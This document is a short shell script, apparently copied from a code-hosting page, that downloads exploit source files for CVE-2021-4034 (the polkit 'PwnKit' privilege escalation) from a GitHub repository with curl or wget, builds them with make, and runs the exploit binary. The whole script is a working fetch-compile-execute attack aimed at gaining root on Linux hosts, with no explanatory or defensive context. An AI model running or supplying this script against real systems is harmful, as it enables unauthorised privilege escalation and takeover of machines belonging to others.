15 lines
305 B
Bash
15 lines
305 B
Bash
|
#!/usr/bin/env sh
|
||
|
|
||
|
URL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/'
|
||
|
|
||
|
for EXPLOIT in "${URL}/cve-2021-4034.c" \
|
||
|
"${URL}/pwnkit.c" \
|
||
|
"${URL}/Makefile"
|
||
|
do
|
||
|
curl -sLO "$EXPLOIT" || wget --no-hsts -q "$EXPLOIT" -O "${EXPLOIT##*/}"
|
||
|
done
|
||
|
|
||
|
make
|
||
|
|
||
|
./cve-2021-4034
|